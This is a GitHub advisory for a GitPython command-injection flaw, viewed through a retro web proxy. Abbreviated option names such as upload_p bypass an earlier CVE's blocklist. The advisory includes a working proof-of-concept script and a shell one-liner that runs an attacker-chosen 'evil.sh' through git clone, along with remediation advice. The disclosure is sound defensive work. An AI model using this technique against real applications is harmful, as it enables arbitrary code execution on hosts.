GeezerVisonThe World Wide Web, restored to 800 pixels of glory. | ||||||||||||||||||||||||||||||||
| Home|About|Gaming cabinet|Archives|How it works|Starter sites | ||||||||||||||||||||||||||||||||
GeezerVison is showing github.com — CVE-2026-67325 - GitHub Advisory Database GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist
High severity
GitHub Reviewed
Published
DescriptionCommand injection via long-option prefix abbreviation bypassing
|
| Location | Role |
|---|---|
git/cmd.py:948-960 _canonicalize_option_name |
canonicalizer — no prefix expansion |
git/cmd.py:963-974 check_unsafe_options |
exact-match dict lookup (the incomplete guard) |
git/cmd.py:1511 transform_kwarg |
emits --<dashify(name)>=<value> to the CLI |
git/repo/base.py:1411,1413 |
clone call sites |
git/remote.py:1074,1128,1201 |
fetch / pull / push call sites |
| kwarg key | git resolves to | path | weaponizable |
|---|---|---|---|
upload_p, upload_pac |
--upload-pack |
clone / fetch / pull | Yes — direct RCE |
receive_p |
--receive-pack |
push | Yes — direct RCE |
exe |
--exec |
push | Yes — direct RCE |
conf, confi |
--config |
clone | bypasses option blocklist; RCE needs an additional config vector (see note) |
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):
import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") # fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) # attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed
Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.
Confirmed behavior:
upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.allow_unsafe_options=True opt-out behaves as documented (out of scope).Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.
On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.
startswith on the blocked canonical name, after dashify).--end-of-options or invoke git in a way that disables long-option abbreviation.Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.
There was an error while loading. Please reload this page.